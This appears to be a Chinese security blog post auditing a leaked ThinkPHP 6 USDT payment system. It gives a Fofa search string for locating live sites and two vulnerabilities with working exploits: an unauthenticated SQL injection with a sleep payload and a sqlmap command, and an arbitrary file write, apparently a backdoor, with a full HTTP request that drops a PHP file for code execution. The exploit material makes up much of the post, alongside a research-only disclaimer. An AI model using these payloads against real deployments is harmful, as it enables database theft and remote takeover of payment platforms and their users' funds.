0x00 前言
某站网卖5000块钱的U支付系统源码，最近流出来了。完整的U对接支付，充值、提币、查询余额接口，基于thinkphp6， 包括U钱包安装和代码测试，接口可以对接到任何平台，方便 快捷！
1.用户网站、平台可通过api接入该系统实现U（ERC20、TRC20）的充转，可无需自搭节点，使用第三方、官方节点，适用于多种场景应用。（自建节点的可免费搭建节点）
2.接口可以对接到任何平台，方便 快捷！
3.自动充值到账、资金自动归集、可以对接到任何网站,只需要进行调用即可
4.资金自动归集省去手动归集繁琐步骤
5.对接api实现订单自动回调（可以后台设置手动回调）
买点：通过api接入该系统实现U（ERC20、TRC20）的充转，自动充值到账、可以对接到任何网站。
Fofa:"/usdtmerchant/login/reg.html"
框架:ThinkPHP 6.0.9
0x01 前台SQL注入漏洞
位于 /index/controller/Index.php 控制器中的 send 方法存在Db::query方法直接进入查询，且传参query可控，导致sql注入漏洞产生.
public function send(){$dd = Db::query(urldecode($_REQUEST['query']));}
Payload:
/index/index/send?query=select%20sleep(5)
python sqlmap.py -u "http://127.0.0.1:81/index/index/send?query=*" --level=3 --dbms=mysql
0x02 前台任意文件写入漏洞
位于 /index/controller/Index.php 控制器中的 get_trc20 方法存在file_put_contents函数，且传参均可控(应该是后门)，导致漏洞产生.
public function get_trc20(){$version=Db::name('system_config')->where(['id'=>72])->order('id desc')->save(array("auth_key"=>$_REQUEST['key']));$versionsss=Db::name('system_config')->where(['id'=>72])->find();file_put_contents($_GET['name'].".php",base64_decode($versionsss['auth_key']));}
Payload:
GET /index/index/get_trc20?key=MTI8P3BocCBwaHBpbmZvKCk7Pz4=&name=fw HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Encoding: gzip, deflate, br, zstdAccept-Language: zh-CN,zh;q=0.9,ru;q=0.8,en;q=0.7Cache-Control: max-age=0Connection: keep-aliveCookie: PHPSESSID=60bb4cc1be5320f384ba89f6f7f0b3d9Host: 127.0.0.1:81Sec-Fetch-Dest: documentSec-Fetch-Mode: navigateSec-Fetch-Site: noneSec-Fetch-User: ?1Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36sec-ch-ua: "Not/A)Brand";v="8", "Chromium";v="126", "Google Chrome";v="126"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"
然后就会在public生成一个fw.php 直接访问/fw.php 即可
U支付系统源码关注公众号发送 us 获取
免责声明:文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由读者承担全部法律及连带责任，文章作者和本公众号不承担任何法律及连带责任，望周知！！!
原文始发于微信公众号（星悦安全）：某TP6对接U支付系统RCE漏洞审计
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论